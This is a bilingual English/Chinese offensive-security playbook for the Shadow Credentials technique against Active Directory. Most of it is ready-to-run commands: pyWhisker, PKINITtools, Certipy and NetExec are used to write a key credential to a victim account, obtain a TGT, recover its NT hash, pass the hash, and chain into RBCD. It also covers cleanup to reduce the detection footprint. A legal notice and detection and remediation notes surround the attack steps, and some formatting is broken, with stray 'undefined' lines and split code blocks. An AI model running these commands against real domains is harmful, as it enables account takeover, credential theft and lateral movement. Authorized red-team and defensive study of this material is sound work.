abusing-shadow-credentials-for-privesc

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

Abusing Shadow Credentials for Privilege Escalation

滥用Shadow Credentials进行权限提升

Legal Notice: This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.

法律声明： 本技能仅用于授权安全测试和教育目的。Shadow Credentials可完全接管目标账户。仅针对你拥有或经书面明确授权测试的系统使用。未经授权的访问属于犯罪行为。

Overview

概述

The Shadow Credentials technique abuses the

msDS-KeyCredentialLink

attribute of Active Directory user and computer objects. This attribute stores raw public keys ("Key Credentials") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's

msDS-KeyCredentialLink

— typically granted by

GenericWrite

GenericAll

WriteProperty

, or

AddKeyCredentialLink

ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover without resetting the password, which is far stealthier than a forced password reset.

The technique was published by Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") and implemented in the C# tool Whisker. The Python equivalent pyWhisker (ShutdownRepo) manipulates the attribute over LDAP, and Certipy integrates the entire chain via

certipy shadow auto

. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.

Shadow Credentials技术滥用Active Directory用户和计算机对象的

msDS-KeyCredentialLink

属性。该属性存储原始公钥（“密钥凭据”），用于Windows Hello for Business和Azure AD设备注册，通过PKINIT（Kerberos中的公钥加密初始认证）实现无密码证书登录。如果攻击者拥有目标对象

msDS-KeyCredentialLink

的写入权限——通常由BloodHound中显示的

GenericWrite

、

GenericAll

、

WriteProperty

或

AddKeyCredentialLink

ACE授予——他们可以附加自己生成的攻击者公钥。随后使用匹配的私钥通过PKINIT请求目标的TGT，并恢复目标的NT哈希，无需重置密码即可实现完全账户接管，这比强制密码重置隐蔽得多。

该技术由Elad Shamir（《Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover》）发布，并在C#工具Whisker中实现。Python版本pyWhisker（ShutdownRepo）通过LDAP操作该属性，Certipy则通过

certipy shadow auto

集成了整个攻击链。目标环境必须支持PKINIT，且至少有一台域控制器运行Windows Server 2016或更高版本。来源：pyWhisker、Whisker、The Hacker Recipes — Shadow Credentials。

When to Use

使用场景

When BloodHound reveals
```
GenericWrite
```
/
```
GenericAll
```
/
```
AddKeyCredentialLink
```
over a higher-value user or computer
As a stealthier alternative to
```
ForceChangePassword
```
(no password reset = less disruption/alerting)
To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)
During red-team operations needing account takeover without locking out the legitimate user
For purple-team exercises generating
```
msDS-KeyCredentialLink
```
modification telemetry

当BloodHound显示对高价值用户或计算机拥有
```
GenericWrite
```
/
```
GenericAll
```
/
```
AddKeyCredentialLink
```
权限时
作为
```
ForceChangePassword
```
的更隐蔽替代方案（无密码重置=更少干扰/告警）
接管计算机账户以链接到基于资源的约束委派（RBCD）
红队操作中需要在不锁定合法用户的情况下接管账户时
紫队演练中生成
```
msDS-KeyCredentialLink
```
修改遥测数据时

Prerequisites

前提条件

Authorized engagement scope including AD credential-access techniques
Control of a principal with write access to the target's
```
msDS-KeyCredentialLink
```
A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)
Network reachability to LDAP (389/636) and Kerberos (88) on a DC

Linux attack host with Python 3.8+; install the tooling:

bash

# pyWhisker (from source)
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker && pip install .
# Certipy (integrated shadow attack)
pipx install certipy-ad
# PKINITtools for manual TGT/NT-hash extraction
git clone https://github.com/dirkjanm/PKINITtools

包含AD凭据访问技术的授权演练范围
控制拥有目标
```
msDS-KeyCredentialLink
```
写入权限的主体
运行Windows Server 2016+且启用PKINIT的域控制器（域功能级别支持密钥信任）
可访问域控制器上的LDAP（389/636）和Kerberos（88）端口

安装Python 3.8+的Linux攻击主机；安装工具：

bash

# pyWhisker (从源码安装)
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker && pip install .
# Certipy (集成shadow攻击)
pipx install certipy-ad
# PKINITtools用于手动提取TGT/NT哈希
git clone https://github.com/dirkjanm/PKINITtools

Objectives

目标

Confirm write access over a target's
```
msDS-KeyCredentialLink
```
Generate a key pair and append a Key Credential to the target object
Request a TGT for the target via PKINIT using the new key
Recover the target's NT hash for pass-the-hash / further movement
Clean up the injected Key Credential to restore the object's state
Document the ACL path that enabled the attack for remediation

确认对目标
```
msDS-KeyCredentialLink
```
的写入权限
生成密钥对并将密钥凭据附加到目标对象
使用新密钥通过PKINIT请求目标的TGT
恢复目标的NT哈希以进行哈希传递/进一步横向移动
清理注入的密钥凭据以恢复对象状态
记录启用攻击的ACL路径以供修复

MITRE ATT&CK Mapping

MITRE ATT&CK映射

ID	Technique	Application in this skill
T1098.005	Account Manipulation: Device Registration	Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account

ID	技术	本技能中的应用
T1098.005	账户操纵：设备注册	将攻击者控制的密钥凭据（设备密钥）写入 `msDS-KeyCredentialLink` ，为目标账户注册备用认证凭据

Workflow

操作流程

Step 1: Confirm the write primitive

步骤1：确认写入权限

List existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the

add

step.

bash

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

列出目标上现有的密钥凭据，验证你是否拥有所需权限。返回空结果或可读结果则确认你具备

add

步骤的写入权限。

bash

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

Step 2: Add a Shadow Credential with pyWhisker

步骤2：使用pyWhisker添加Shadow Credential

Generate a certificate/key pair and write it into the target's

msDS-KeyCredentialLink

. pyWhisker outputs a PFX you control.

bash

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow

生成证书/密钥对并写入目标的

msDS-KeyCredentialLink

。pyWhisker会输出一个你可控的PFX文件。

bash

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow

Produces victim_shadow.pfx and prints the PFX password

生成victim_shadow.pfx并打印PFX密码

Use Kerberos auth instead of a password if you only hold a ticket:
```bash
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

如果你仅持有票据，可使用Kerberos认证替代密码：
```bash
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

Step 3: Request a TGT via PKINIT

步骤3：通过PKINIT请求TGT

Use the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.

bash

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

使用生成的PFX文件和PKINITtools获取目标的Kerberos TGT。

bash

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

Step 4: Recover the NT hash

步骤4：恢复NT哈希

Extract the target's NT hash from the AS-REP using the session key from Step 3 (

getnthash.py

reads the AS-REP encryption key, displayed by

gettgtpkinit.py

bash

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim

使用步骤3中的会话密钥从AS-REP中提取目标的NT哈希（

getnthash.py

读取AS-REP加密密钥，由

gettgtpkinit.py

显示）。

bash

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim

Prints the NT hash for 'victim'

打印'victim'的NT哈希

undefined

undefined

Step 5: One-shot alternative with Certipy

步骤5：使用Certipy的一键替代方案

Certipy's

shadow auto

performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.

bash

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

Certipy的

shadow auto

自动执行添加→PKINIT→转储哈希→清理的流程，非常适合计算机账户接管。

bash

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

For a computer account, use the sAMAccountName with trailing $

针对计算机账户，使用带后缀$的sAMAccountName

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!'
-dc-ip 10.0.0.100 -account 'WS01$'

undefined

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!'
-dc-ip 10.0.0.100 -account 'WS01$'

undefined

Step 6: Use the recovered credential

步骤6：使用恢复的凭据

Authenticate with the NT hash (or the TGT) to continue the engagement.

bash

undefined

使用NT哈希（或TGT）进行身份验证以继续演练。

bash

undefined

Pass-the-hash with NetExec

使用NetExec进行哈希传递

nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>

Or use the TGT directly

或直接使用TGT

export KRB5CCNAME=victim.ccache nxc smb dc.corp.local -u victim --use-kcache

undefined

export KRB5CCNAME=victim.ccache nxc smb dc.corp.local -u victim --use-kcache

undefined

Step 7: Chain computer takeover into RBCD (optional)

步骤7：将计算机接管链接到RBCD（可选）

When the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.

bash

undefined

当目标是计算机时，恢复的密钥/哈希可让你配置基于资源的约束委派，以模拟任何用户访问该主机。

bash

undefined

Set RBCD so attacker-controlled SPN can impersonate to WS01$

设置RBCD，使攻击者控制的SPN可模拟用户访问WS01$

impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$'
-action write 'corp.local/attacker:Passw0rd!'

undefined

impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$'
-action write 'corp.local/attacker:Passw0rd!'

undefined

Step 8: Clean up

步骤8：清理

Remove the injected Key Credential to restore the object and reduce detection footprint.

bash

undefined

移除注入的密钥凭据以恢复对象并减少检测痕迹。

bash

undefined

pyWhisker: remove by device-id (printed during add) or clear all you added

pyWhisker：通过设备ID（添加时打印）移除或清除所有你添加的凭据

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!"
--target "victim" --action "remove" --device-id <DEVICE-ID>

Certipy shadow auto cleans up automatically; otherwise:

Certipy shadow auto会自动清理；否则使用以下命令：

certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!'
-dc-ip 10.0.0.100 -account 'victim'

undefined

certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!'
-dc-ip 10.0.0.100 -account 'victim'

undefined

Tools and Resources

工具与资源

Resource	Purpose	Link
pyWhisker	Python LDAP manipulation of msDS-KeyCredentialLink	https://github.com/ShutdownRepo/pywhisker
Whisker	Original C# implementation	https://github.com/eladshamir/Whisker
Certipy	`shadow auto` end-to-end takeover	https://github.com/ly4k/Certipy
PKINITtools	gettgtpkinit / getnthash	https://github.com/dirkjanm/PKINITtools
The Hacker Recipes	Technique walkthrough & defenses	https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

资源	用途	链接
pyWhisker	通过Python LDAP操作msDS-KeyCredentialLink	https://github.com/ShutdownRepo/pywhisker
Whisker	原始C#实现	https://github.com/eladshamir/Whisker
Certipy	`shadow auto` 端到端接管	https://github.com/ly4k/Certipy
PKINITtools	gettgtpkinit / getnthash	https://github.com/dirkjanm/PKINITtools
The Hacker Recipes	技术演练与防御指南	https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

Detection and Remediation Notes

检测与修复说明

Area	Guidance
Detection	Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink` ; alert when a non-AD-Connect/non-Intune principal writes the attribute.
Auditing	Enable directory service object change auditing on user/computer OUs.
Least privilege	Remove unnecessary `GenericWrite` / `GenericAll` / `AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge).
Mitigation	Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts.

领域	指南
检测	监控Windows安全事件ID 5136（目录对象已修改）中 `msDS-KeyCredentialLink` 的变更；当非AD-Connect/非Intune主体写入该属性时触发告警。
审计	在用户/计算机OU上启用目录服务对象变更审计。
最小权限	删除不必要的 `GenericWrite` / `GenericAll` / `AddKeyCredentialLink` ACE（BloodHound中的 `AddKeyCredentialLink` 边）。
缓解	在未使用Windows Hello/设备注册的环境中，限制可写入密钥凭据的主体，并考虑对0级保护账户进行特殊处理。

Validation Criteria

验证标准

Write access over the target's
```
msDS-KeyCredentialLink
```
confirmed (
```
list
```
succeeded)
Key Credential successfully added (PFX generated)
PKINIT TGT obtained for the target account
Target NT hash recovered and validated against a service
(If computer) RBCD chain or onward movement demonstrated
Injected Key Credential removed / object restored
Enabling ACL path documented with remediation recommendation

确认对目标
```
msDS-KeyCredentialLink
```
的写入权限（
```
list
```
操作成功）
成功添加密钥凭据（生成PFX文件）
获取目标账户的PKINIT TGT
恢复目标NT哈希并通过服务验证
（若为计算机）演示RBCD链或进一步横向移动
移除注入的密钥凭据/恢复对象状态
记录启用攻击的ACL路径并提供修复建议